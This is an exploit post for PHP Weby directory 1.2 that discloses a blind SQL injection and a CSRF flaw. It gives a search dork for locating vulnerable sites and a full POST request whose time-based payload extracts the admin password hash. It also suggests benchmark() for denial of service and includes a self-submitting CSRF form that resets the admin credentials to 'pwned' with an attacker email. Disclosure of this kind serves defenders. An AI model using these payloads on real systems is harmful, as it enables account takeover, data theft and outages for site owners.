PHP Weby directory 1.2 Blind SQL injection && CSRF

2013.01.24
Credit: AkaStep
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

=========================================== Vulnerable Software: PHP Weby directory software version 1.2 Vendor: http://phpweby.com Download: ht*p://phpweby.com/down/phpwebydirectory.zip Vuln: Blind SQL injection && CSRF Dork: intext:Powered by PHP weby software =========================================== About Software: Php Weby directory script is a powerful and easy-to-use FREE link management script with numerous options for running a directory, catalog of sites or a simple link exchange system. Create a general directory and have users submit their favorite sites and charge if you want for the review. Or create regional directory for your town or state and sell advertising, or niche directory about a topic you love or know. Features include an integrated payment system with PayPal, link validation, SEO urls, unlimited categories and subcategories, reciprocal linking, link editor, template driven system and many more. Check them all here. Php weby free link directory script is licensed under GNU GPL license. Link to http://phpweby.com can NOT be removed. Contact us at the forums for more information. . =========================================== Tested On: Debian squeeze 6.0.6 Server version: Apache/2.2.16 (Debian) Apache traffic server 3.2.0 MYSQL: 5.1.66-0+squeeze1 PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH =========================================== Here is one of Vulnerable Code example: //contact.php ==============SNIP BEGINS=============== if($capt) { unset($capt); if($_POST['fullname']=='' || $_POST['subject']=='' || $_POST['message']=='' || $_POST['mail']=='') $smarty->assign('error','Please complete the form!'); else { $c=$db->Execute("INSERT INTO contacts(fullname,subject,message,mail,ip,timehour) values('" . $_POST['fullname'] . "','" . $_POST['subject'] . "','" . $_POST['message'] . "','" . $_POST['mail'] . "','" . $_SERVER['REMOTE_ADDR']."','".date('r'). "')"); if($c===false) $smarty->assign('error','Unknown error occured.'); else $smarty->assign('added',1); ===========SNIP ENDS HERE================ ===============Exploitation =============== METHOD: $_POST URL: http://site.tld/contact.php Headers: Host: hacker1.own User-Agent: UiUiUiUiUi Ping And UiUiUiUiUi And Pong:(( Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 245 REQ BODY: fullname=Ping And Pong Is Interesting Game xD%5C&mail=sssssssssssssssssss&subject=,(select case((select mid(`pass`,1,1) from admin_area limit 1 offset 0)) when 0x32 then sleep(10) else 0 end) ,1,2,3,4)-- and 5!=('Advertising+Inquiry&message=TEST ===================EOF=================== Here is how it looks: (I prefer timebased way because simply extracting and then inserting hash to table is not usefull anymore.Only admin can see it from admin panel). IMAGE 1: http://s017.radikal.ru/i420/1301/c6/11128cbea352.png COPY IMAGE: http://oi47.tinypic.com/2ptp79g.jpg Also this type of sql injections(INSERT/UPDATE) is usefull to create Denial of Service conditions against target site/server. If so simply benchmark() is your best friend. Second Vulnerability is: CSRF Simple exploit to change admin username/password/email: Login/password will be change to pwned and email to : admin@toattacker.tld <body onload="javascript:document.forms[0].submit()"> <form action="http://hacker1.own/phpweb/admin/options.php?r=admin" method="post"> <input type="text" name="ADMIN_NAME" value="admin"/> <input type="text" name="ADMIN_MAIL" value="admin@toattacker.tld"/> <input type="text" name="usr" value="pwned"/> <input type="password" name="pass1" value="pwned"/> <input type="password" name="pass2" value="pwned"/> <input type="hidden" name="oldusr" value="admin"/> <input type="submit" value="Save" class="ss"/> </form> ==================================== KUDOSSSSSSS ==================================== packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com itsecuritysolutions.org to all Aa Team + to all Azerbaijan Black HatZ + *Especially to my bro CAMOUFL4G3 * To All Turkish Hackers. Also special thanks to: ottoman38 & HERO_AZE ==================================== /AkaStep

References:

http://phpweby.com/down/phpwebydirectory.zip


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